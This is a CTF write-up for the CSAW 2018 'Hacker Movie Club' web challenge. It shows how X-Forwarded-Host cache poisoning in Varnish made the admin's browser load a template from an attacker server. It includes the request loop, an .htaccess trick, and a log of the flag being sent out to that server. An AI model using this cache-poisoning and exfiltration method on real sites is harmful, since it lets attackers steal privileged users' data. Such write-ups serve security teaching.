# ▼▼▼Hacker Movie Club(Web:200、71/1448=4.9％)▼▼▼**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)**
```Hacker movies are very popular, so we needed a site that we can scale. You better get started though, there are a lot of movies to watch.
Author: itszn (ret2 systems)
http://app.hm.vulnerable.services/```
---
## 【Understanding of functions】
・Movie list is displayed
・There is a function of sending to admin
↓
Perhaps it seems to be an `XSS` problem...(However, the prediction was out ...)
↓
Confirm sending request to admin
↓
```POST /api/report HTTP/1.1Host: app.hm.vulnerable.servicesContent-Length: 325
{"token":"03AL4dnxr9esKJKJcPhsOjOc-T4d_sxOFYSuKLx3DU0Hvhcmcg4ZfKZg20iPLVU9HvnLEWKucHGajNEyJdGDbMuvNpa6W99QjvFZrpdpEtEs4xb1BsV0efch4selm1-okTShY-OBM4lvo5n3ydmu7-w6V1RBcUCIjTkD_RX_GLAj5HlBIKnWEvJBNzZKFW1IX1GMAU6wmf9jFOgm22F0QmLNxBZz9f1tWqsSDV8HfPPfYiXo5FtWV6eegYF7-oragWuNxCJX4hIVmzyywXKng08nuZqBAwBie_dqNTCxCNJCFXcrRC_cJouiI"}```
↓
```HTTP/1.1 200 OKServer: gunicorn/19.9.0Date: Tue, 18 Sep 2018 10:24:16 GMTContent-Type: application/jsonContent-Length: 17Cache-Control: no-cacheX-Varnish: 142297032Age: 0Via: 1.1 varnish-v4Accept-Ranges: bytesConnection: close
{"success":true}```
↓
I can not send comments etc to admin, it seems just to contact...
What is the problem to report to admin outside XSS (there is a need for **passive attack**) !?
If  **passive attack** and **going to check a specific place by admin** are necessary, it can be guessed as `Stored XSS` or `Cache poisoning` by inserting at a place other than the parameter
---
## 【Investigate the location of flag】
```GET /api/movies HTTP/1.1Host: app.hm.vulnerable.services```
↓
```HTTP/1.1 200 OKServer: gunicorn/19.9.0Date: Tue, 18 Sep 2018 10:35:34 GMTContent-Type: application/jsonContent-Length: 1386Cache-Control: no-cacheX-Varnish: 158271733Age: 0Via: 1.1 varnish-v4Accept-Ranges: bytesConnection: keep-alive
{"admin":false,"movies":[{"admin_only":false,"length":"1 Hour, 54 Minutes","name":"WarGames","year":1983},{"admin_only":false,"length":"0 Hours, 31 Minutes","name":"Kung Fury","year":2015},{"admin_only":false,"length":"2 Hours, 6 Minutes","name":"Sneakers","year":1992},{"admin_only":false,"length":"1 Hour, 39 Minutes","name":"Swordfish","year":2001},{"admin_only":false,"length":"2 Hours, 6 Minutes","name":"The Karate Kid","year":1984},{"admin_only":false,"length":"1 Hour, 23 Minutes","name":"Ghost in the Shell","year":1995},{"admin_only":false,"length":"5 Hours, 16 Minutes","name":"Serial Experiments Lain","year":1998},{"admin_only":false,"length":"2 Hours, 16 Minutes","name":"The Matrix","year":1999},{"admin_only":false,"length":"1 Hour, 57 Minutes","name":"Blade Runner","year":1982},{"admin_only":false,"length":"2 Hours, 43 Minutes","name":"Blade Runner 2049","year":2017},{"admin_only":false,"length":"1 Hour, 47 Minutes","name":"Hackers","year":1995},{"admin_only":false,"length":"1 Hour, 36 Minutes","name":"TRON","year":1982},{"admin_only":false,"length":"2 Hours, 5 Minutes","name":"Tron: Legacy","year":2010},{"admin_only":false,"length":"2 Hours, 25 Minutes","name":"Minority Report","year":2002},{"admin_only":false,"length":"2 Hours, 37 Minutes","name":"eXistenZ","year":1999},{"admin_only":true,"length":"22 Hours, 17 Minutes","name":"[REDACTED]","year":2018}]}```↓
There is only one `"admin_only":true` data(This seems to be a `flag`)
---
## 【Identify the vulnerability】
Search for parts that can be persistently reflected in the response or where the Host header can be changed in places other than Host and URL
↓
In the request below, I found a custom header `X-Forwarded-Host`
↓
```GET /cdn/app.js HTTP/1.1Host: 0ec58fe43286123b3a487162cf7dda1b4cc8b3d2.hm.vulnerable.servicesX-Forwarded-Host: 0ec58fe43286123b3a487162cf7dda1b4cc8b3d2.hm.vulnerable.services```
↓
```HTTP/1.1 200 OKServer: gunicorn/19.9.0Date: Tue, 18 Sep 2018 10:39:02 GMTContent-Type: application/javascriptContent-Length: 1631Access-Control-Allow-Origin: *Access-Control-Allow-Methods: HEAD, OPTIONS, GETAccess-Control-Max-Age: 21600Access-Control-Allow-Headers: X-Forwarded-HostX-Varnish: 158271761 142298704Age: 9Via: 1.1 varnish-v4Accept-Ranges: bytesConnection: keep-alive
var token = null;
Promise.all([    fetch('/api/movies').then(r=>r.json()),    fetch(`//0ec58fe43286123b3a487162cf7dda1b4cc8b3d2.hm.vulnerable.services/cdn/main.mst`).then(r=>r.text()),    new Promise((resolve) => {        if (window.loaded_recapcha === true)            return resolve();        window.loaded_recapcha = resolve;    }),    new Promise((resolve) => {        if (window.loaded_mustache === true)            return resolve();        window.loaded_mustache = resolve;    })]).then(([user, view])=>{    document.getElementById('content').innerHTML = Mustache.render(view,user);
    grecaptcha.render(document.getElementById("captcha"), {        sitekey: '6Lc8ymwUAAAAAM7eBFxU1EBMjzrfC5By7HUYUud5',        theme: 'dark',        callback: t=> {            token = t;            document.getElementById('report').disabled = false;        }    });    let hidden = true;    document.getElementById('report').onclick = () => {        if (hidden) {          document.getElementById("captcha").parentElement.style.display='block';          document.getElementById('report').disabled = true;          hidden = false;          return;        }        fetch('/api/report',{            method: 'POST',            body: JSON.stringify({token:token})        }).then(r=>r.json()).then(j=>{            if (j.success) {                // The admin is on her way to check the page                alert("Neo... nobody has ever done this before.");                alert("That's why it's going to work.");            } else {                alert("Dodge this.");            }        });    }});```
---
## 【Try1:Tampering with X-Forwarded-Host】
Because the response is long, I used BurpSuite's compare function
↓
![](http://raw.githubusercontent.com/kazkiti/CTF-image/master/CSAW2018_compare.png)
↓
`Age` header and `X-Varnish` header have changed.
But, the value of `X-Forwarded-Host` was not reflected...
↓
The value of the `Age` header is the elapsed time of cache data. Unit is seconds
↓
`X-Varnish`(https://varnish-cache.org/docs/2.1/faq/http.html)
↓
`X-Varnish` will contain both the `ID of the current request` and the `ID of the request that populated the cach`
As I can see from `X-Varnish: 158271761 142298704`, I can see that the **cache is used** because there are **two IDs** in the `X-Varnish` header
Because it affects other CTF users, it can be inferred that the cache validity period is probably short.
---
```GET /cdn/app.js HTTP/1.1Host: 0ec58fe43286123b3a487162cf7dda1b4cc8b3d2.hm.vulnerable.servicesX-Forwarded-Host: example.com```
↓
Even if I send a request while pushing it manually in BurpSuite, since the desired cache does not hit.
I confirmed it by continuously sending it with Inturder.
↓
![](http://raw.githubusercontent.com/kazkiti/CTF-image/master/CSAW2018_Intruder.png)
↓
fetch(`//example.com/cdn/main.mst`).then(r=>r.text()),
The validity period of the cache is `120 seconds`, and it was confirmed that the value of `X-Forworded-for` is reflected there
↓
`Cache poisoning attack` is possible!!
---
## 【Create Payload】
First, check `/cdn/main.mst`
↓
```GET /cdn/main.mst HTTP/1.1Host: 0ec58fe43286123b3a487162cf7dda1b4cc8b3d2.hm.vulnerable.services```
↓
```HTTP/1.1 200 OKServer: gunicorn/19.9.0Date: Tue, 18 Sep 2018 11:48:26 GMTContent-Length: 523Content-Type: application/octet-streamLast-Modified: Fri, 14 Sep 2018 03:54:50 GMTCache-Control: public, max-age=43200Expires: Tue, 18 Sep 2018 23:48:26 GMTETag: "1536897290.0-523-1486424030"Access-Control-Allow-Origin: *Access-Control-Allow-Methods: HEAD, OPTIONS, GETAccess-Control-Max-Age: 21600Access-Control-Allow-Headers: X-Forwarded-HostX-Varnish: 157809929 157809927Age: 5Via: 1.1 varnish-v4Accept-Ranges: bytesConnection: keep-alive
<div class="header">Hacker Movie Club</div>
{{#admin}}<div class="header admin">Welcome to the desert of the real.</div>{{/admin}}
<table class="movies"><thead> <th>Name</th><th>Year</th><th>Length</th></thead><tbody>{{#movies}}  {{^admin_only}}    <tr>      <td>{{ name }}</td>      <td>{{ year }}</td>      <td>{{ length }}</td>    </tr>  {{/admin_only}}{{/movies}}</tbody></table>
<div class="captcha">  <div id="captcha"></div></div><button id="report" type="submit" class="report"></button>```
↓
Using Template!!
---
```GET /cdn/mustache.min.js HTTP/1.1Host: 0ec58fe43286123b3a487162cf7dda1b4cc8b3d2.hm.vulnerable.services```
↓
I found that this site uses a **template engine** named `mustache.js` (https://github.com/janl/mustache.js/)
↓
Understand template grammar
---
## 【exploit】
It placed in `//my_server/cdn/main.mst`
↓
```
```
---
It placed in `//my_server/cdn/.htaccess`
↓
```AddType application/x-httpd-php .php .mst```
---
Continuously send the following request with Intruder
↓
```GET /cdn/app.js HTTP/1.1Host: 0ec58fe43286123b3a487162cf7dda1b4cc8b3d2.hm.vulnerable.servicesX-Forwarded-Host: my_server```
↓
When `//my_server` is reflected in the response(Cash was used), submit a report to admin
---
A request was sent to `//my_server`
↓
```216.165.2.32 - - [18/Sep/2018:13:15:02 +0000] "GET /cdn/main.mst HTTP/1.1" 200 73216.165.2.32 - - [18/Sep/2018:13:15:03 +0000] "GET /?c=WarGamesKung%20FurySneakersSwordfishThe%20Karate%20KidGhost%20in%20the%20ShellSerial%20Experiments%20LainThe%20MatrixBlade%20RunnerBlade%20Runner%202049HackersTRONTron:%20LegacyMinority%20ReporteXistenZflag{I_h0pe_you_w4tch3d_a11_th3_m0v1es} HTTP/1.1" 200 2261```
↓
```WarGamesKung FurySneakersSwordfishThe Karate KidGhost in the ShellSerial Experiments LainThe MatrixBlade RunnerBlade Runner 2049HackersTRONTron: LegacyMinority ReporteXistenZflag{I_h0pe_you_w4tch3d_a11_th3_m0v1es}```
↓
`flag{I_h0pe_you_w4tch3d_a11_th3_m0v1es}`